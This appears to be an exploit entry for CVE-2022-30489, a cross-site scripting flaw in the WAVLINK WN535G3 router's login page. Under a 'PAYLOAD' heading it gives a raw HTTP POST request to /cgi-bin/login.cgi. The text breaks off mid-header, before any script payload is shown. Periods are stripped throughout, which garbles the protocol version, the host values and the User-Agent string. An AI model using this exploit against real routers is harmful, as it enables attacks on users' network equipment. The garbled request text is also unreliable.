WAVLINK WN535G3 POST XSS Use CVE-2022-30489 PAYLOAD POST /cgi-bin/logincgi HTTP/11 Host: 9812766193 Content-Length: 255 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: 9812766193 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/50 (Windows NT 100; Win64; x64) AppleWebKit/53736 (KHTML, like Gecko) Chrome/9004430212 Safar